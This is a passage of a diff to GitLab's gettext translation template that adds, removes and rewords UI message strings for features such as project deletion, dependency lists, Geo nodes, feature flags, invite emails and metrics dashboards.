msgstr ""
@@ -8024,15 +8319,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -8042,6 +8346,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -8070,6 +8377,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -8080,6 +8394,9 @@ msgstr[3] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -8092,6 +8409,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -8110,6 +8430,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -8150,8 +8473,8 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -8200,7 +8523,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8434,13 +8757,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8473,15 +8805,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8563,7 +8886,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8572,6 +8898,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8584,7 +8913,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8689,9 +9021,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8708,7 +9037,7 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8960,9 +9289,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9251,9 +9577,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9422,6 +9745,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9446,7 +9772,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9725,6 +10051,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -10052,7 +10381,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -10073,6 +10402,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -10082,9 +10414,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -10097,9 +10426,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -10109,9 +10435,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -10124,9 +10447,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10560,12 +10880,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10650,6 +10976,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10659,9 +10988,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10701,6 +11027,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10926,6 +11255,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -11097,30 +11429,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -11136,12 +11453,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -11169,12 +11480,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -11196,15 +11501,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11232,27 +11528,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11265,6 +11546,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11328,6 +11615,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11460,10 +11753,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11640,7 +11933,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11757,7 +12050,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -12039,6 +12335,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12315,7 +12614,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12528,6 +12827,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12543,6 +12845,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12677,6 +12982,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12833,6 +13141,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12986,6 +13300,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -13001,6 +13318,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -13013,13 +13333,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -13028,21 +13348,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -13055,6 +13378,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -13073,6 +13399,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -13148,6 +13477,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13214,6 +13546,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13230,7 +13565,7 @@ msgstr[3] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13257,6 +13592,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13269,13 +13610,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13305,7 +13643,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13317,9 +13655,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13416,6 +13760,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13455,6 +13832,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13554,9 +13934,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13698,6 +14075,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13740,6 +14120,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13755,6 +14138,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -14043,7 +14429,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14275,7 +14661,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14386,10 +14772,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14416,6 +14802,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14479,9 +14868,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14497,9 +14883,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14555,6 +14938,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14576,6 +14962,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14627,7 +15016,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14678,6 +15067,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14693,6 +15088,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14777,9 +15175,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14891,9 +15286,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -15029,6 +15421,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -15038,9 +15439,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -15068,15 +15466,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -15092,6 +15490,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -15155,6 +15556,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15287,6 +15709,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15389,6 +15817,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15398,9 +15832,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15434,9 +15865,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15450,9 +15887,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15480,6 +15914,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15504,6 +15941,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15582,6 +16022,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15634,12 +16077,18 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15805,6 +16254,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15850,6 +16308,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -16039,12 +16500,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
